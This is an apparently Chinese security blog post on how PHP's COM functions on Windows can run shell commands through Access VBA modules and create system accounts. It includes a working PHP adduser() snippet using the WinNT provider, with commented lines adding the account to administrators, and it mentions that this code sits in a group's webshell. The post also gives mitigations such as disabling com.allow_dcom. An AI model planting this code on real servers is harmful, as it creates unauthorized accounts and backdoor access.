potential Security of PHP COM function

一般情况下PHP默认安装都是会支持COM函数的
PHP原本设计的这个都是为了建设在windows平台的PHP脚本,能更好的跟COM/COM+交互 例如读取EXCEL WORD 操作ADO
(最新的PHP5还可以直接支持.NET库~又是一大对安全的挑战)
但是这样也给架设在windows平台的PHP站点带来安全隐患,早期我们知道采用
COM("shell.application") COM("WScript.Shell") 可以实现文件执行,读取注册表功能
但是通常管理员都会反注册了这些比较危险性的DLL,其实这样并代表问题的解决,
COM函数除了这些之外,还可以直接调用ActiveX exe文件,大家要是有留意官方的文档就知道,
直接采用 $access=COM("Access.Application") 这样子就可以取得一个Access 的实例,对于正常用户这样当然没有什么问题了,
但是对于一些恶意利用者就不同了,大家应该知道Access 里面可以创建模块 而模块中可以自定义函数方法等.
编写这些代码的语言都是采用VBA,对于VBA大家非常熟悉了吧!在VBA中有"免费"的内置函数使用
例如 shell执行程序,Delete删除文件,copy拷贝文件
有了这些 我们就可以创建一个恶意模块,采用$access来调用里面的方法 过程等~这样的跳转攻击恐怖吧~!
为什么MS一开始设计ASP的时候没有允许调用ActiveX exe,就是出于很多安全问题而考虑的(这个是我的猜想)
也有很多服务器没有安装office办公软件,这样就能逃避过灾难吗?答案当然是否定的!
在早期的PWS/IIS中 ASP调用WINDOWS内置对象来添加用户这个漏洞可为危害极其大啊!之后MS IIS5以后恶补了...
但是我们采用PHP的COM函数也一样可以使用~
看以下代码
//转载请注明出处  
//by nonamed(kj021320) ----I.S.T.O
function adduser($struser,$strpassword,$strGroup){
 //$thegroup=new COM("WinNT://./".$strGroup.",group");
 $computer=new COM("WinNT://.");
 $theuser=$computer->Create("user",$struser);
 $theuser->SetPassword($strpassword);
 $theuser->SetInfo() or die("add user fail");
 echo "add user success";
 //$user=new COM("WinNT://./".$struser.",user");  //添加用户到管理员组
 //$thegroup->Add($user->ADsPath())  or die("add to $strGroup group fail");
 //echo "add to administrators group success";
}
没想到吧? 其实解决这样的安全问题有多种方式:把apache设置的php以模块方式运行并限制权限,把php.ini配置文件里面的
com.allow_dcom 禁止 这样用户就不能调用COM函数了!这个方法有好有坏~ 其实还有很多方式的!主要是看管理员的安全意识(其实以上资料早在I.S.T.O小组内部交流了,而且添加到了小组内部的phpshell中,只是今天才发表出来)

 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值